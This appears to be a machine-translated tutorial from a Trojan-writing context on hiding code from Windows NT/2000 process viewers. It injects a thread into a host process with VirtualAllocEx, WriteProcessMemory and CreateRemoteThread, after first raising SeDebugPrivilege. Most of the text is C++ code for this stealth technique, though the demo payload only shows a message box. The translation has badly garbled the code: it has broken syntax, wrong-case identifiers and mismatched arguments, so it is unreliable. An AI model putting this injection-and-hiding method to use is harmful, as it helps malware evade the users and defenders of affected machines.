Fully hidden by implementing the process under Winnt & Win2k
Author: AntGhazi Home: antghazi.yeah.net
In the face of many computer masters, consider for a long time, finally decided to show up ugly, try to use the simplest and easy-to-understand words and examples in the article, hoping to help some beginners and advancedors. Regarding the hidden process, 98 counts count counts. The hidden method under Winnt / Win2k, the masters of Xiqiao Shotgun has released an example in the online last year, "Uncovering the mystery of the Trojan <4>", I also read his article, for his computer level. And enthusiastic help friends have very admired. It is also an in-depth introduction to the supplementation and deep introduction to SHOTGUN's article, ok, gossip less. In WinNT, "Really Hidden Process", it can be found at all, as long as our procedure is in the form of the process kernel, it is impossible to escape the mental eye of Ctrl Alt Del. So strange, is this contradictory this is contradictory with our title "Fully hidden in Winnt & Win2k"? Yes, it should actually be: perform the target code in a non-process, and escape the procedure of the process viewer to achieve the purpose of "process hide". We used here, in the host process, perform our code in the way. It is very simple to achieve. First, let's create a thread DWORD stdcall threadproc (lpvoid * lpvoid) {return 0 that does not perform any statement;} then copy the thread code to anywhere you can perform (ie, page properties as PAGGE_EXECUTE_READWRITE), such as: Share the memory image, the host process. Here we choose the host process, when you copy, we need to apply for a memory using the VirtualaLalkEx function in the host process, and then use WriteProcessMemory to write the thread in the host process. After the above work is completed, we can activate its execution in the CreateremoteThread function.
Here is a complete example // Remote thread executive dword __stdcall threadProc (void * lppara) {return 0;} int main (int Argc, char * argv []) {const dword threadsize = 1024 * 4; // temporarily Worder size size is 4K, actually not so big, I will introduce DWORD BYTE_WRITE; // Get the specified process ID handle, and set it to process_all_access, 992 is the ID number of the sector, get the ID number here I do not speak HANDLE hWnd = :: OpenProcess (PROCESS_ALL_ACCESS, FALSE, 992); if return 0 (hWnd!); void * pRemoteThread = :: VirtualAllocEx (hWnd, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Apply for if (! Premothetread) return 0; if (! :: writeprocessmemory (hwnd, threadsize, 0)) // Write process return 0; // Start thread Handle Hthread = :: CreateremoteThread (hwnd, 0, 0, (DWORD (__stdcall *)) premotethread, null, 0, & byte_write); if (! Hthread) {// There is a memory allocation unleash Return 0;} return 0;} to here, for The hidden approach is considered to be a paragraph, and I believe that friends who have seen this idea have a very clear concept.
After understanding the hidden approach, we focus on the execution of the thread. As follows: DWORD __STDCALL THREADPROC (Void * LPpara) {MessageBox (Null, "Hello", "Hello", 0); return 0;} After compiling execution, you will find an illegal operation error, why? In the Win2K operating system management of paragraph-style memory, you will compile all constants in the .DATA section of the PE file, and the code segment is in .text, so we copy it into the host process. The code is code in .text, MessageBox (NULL, (CHAR *) pointer, p, 0); the pointed address is the memory virtual address of this process. In the host process, it is impossible to access. The method of solving is simple, pressing the old photo to copy "Hello" to the target process, and then reference it. Similarly, the MessageBox function address is compiled, and it is also saved in .import, friends who write Win2K virus know that all constants and function entry addresses need to be defined and derived in code segment, and we are also a bit similar to him. The words retired, the same case, we also write the entry address of the function together into the target process. // parameters define the structure typedef struct _RemotePara {// parameter structure char pMessageBox [12]; DWORD dwMessageBox;} RemotePara; // to pay value RemotePara myRemotePara; :: ZeroMemory (& myRemotePara, sizeof (RemotePara)); HINSTANCE hUser32 = :: LoadLibrary ( "user32.dll"); myRemotePara.dwMessageBox = (DWORD) :: GetProcAddress (hUser32, "MessageBoxA"); strcat (myRemotePara.pMessageBox, "hello / 0"); // written into the target process RemotePara * pRemotePara = (Remotepara *) :: VirtualaLalkEx (hwnd, 0, sizeof (remotepara), MEM_COMMIT, PAGE_READWRITE); // Note Page Protection Properties IF (! Premotepara) Return 0; if (! :: WriteProcessMemory); IF (! :: WriteProcessMemory); , & myRemotepara, SizeOf myremotepara, 0) Return 0; // Start transfer Parameters into Handle Hthread = :: CreateremoteThread (hwnd, 0 ,0, (dword (__stdcall *) (void *)) premoteThread, premotepara, 0, & by_write); if (! hthread) {return 0;} is ok, it is so simple, now give a pop-up instance: // RemoteThread.cpp: Defines the entry point for the console application.//#include "stdafx.h"
typedef struct _RemotePara {// parameter structure char pMessageBox [12]; DWORD dwMessageBox;} RemotePara; // remote threads DWORD __stdcall ThreadProc (RemotePara * lpPara) {typedef int (__stdcall * MMessageBoxA) (HWND, LPCTSTR, LPCTSTR, DWORD); // MessageBox function defined MMessageBoxA myMessageBoxA; myMessageBoxA = (MMessageBoxA) lpPara-> dwMessageBox; // get function entry address myMessageBoxA (NULL, lpPara-> pMessageBox, lpPara-> pMessageBox, 0); // call return 0;} void EnableDebugPriv (); // Extra-enhanced application level debug ration int Main (int Argc, char * argv []) {const dword threadsize = 1024 * 4; dword byte_write; enabledebugpriv (); // upgrade permission handle hwnd = :: openprocess (Process_All_Access , FALSE, 992); if (hWnd) return 0;!!! void * pRemoteThread = :: VirtualAllocEx (hWnd, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pRemoteThread) return 0; if (:: WriteProcessMemory ( HWnd, premothetread, & threadproc, threadsize, 0)) Return 0;
// then pay value RemotePara myRemotePara; :: ZeroMemory (& myRemotePara, sizeof (RemotePara)); HINSTANCE hUser32 = :: LoadLibrary ( "user32.dll"); myRemotePara.dwMessageBox = (DWORD) :: GetProcAddress (hUser32, "MessageBoxA" ); Strcat (myRemotepara.pMessagebox, "Hello / 0"); // Write the target process Remotepara * premotepara = (RemotePara *) :: VirtualaLalkEx (hwnd, 0, sizeof (remotepara), mem_commit, Page_Readwrite; // Note Page attribute if (! Premotepara) Return 0; if (! :: WriteProcessMemory (HWND, Premotepara, & MyRemotepara, Sizeof MyRemotepara, 0) Return 0;
// Start thread Handle Hthread = :: CreateRemoteThread (hwnd, 0,0, (dword (__stdcall *) (void *)) premothetread, premotepara, 0, & byte_write; if (! Hthread) {return 0;} return 0; }
// Extraction Void EnableDebugPriv (Void) {Handle Htoken; Luid SedbugNameValue; Token_Privileges TKP;
if | return (OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, & hToken)!); if {CloseHandle (hToken); return;} tkp.PrivilegeCount = 1; tkp.Privileges [0 (LookupPrivilegeValue (NULL, SE_DEBUG_NAME, & sedebugnameValue)!) ] .Luid = sedebugnamevalue; tkp.privileges [0] .attributes = se_privilege_enabled; if (! AdjustTokenprivileges (HTOKEN, FALSE, & TKP, SIZEOF TKP, NULL, NULL) CloseHandle (HTOKEN);}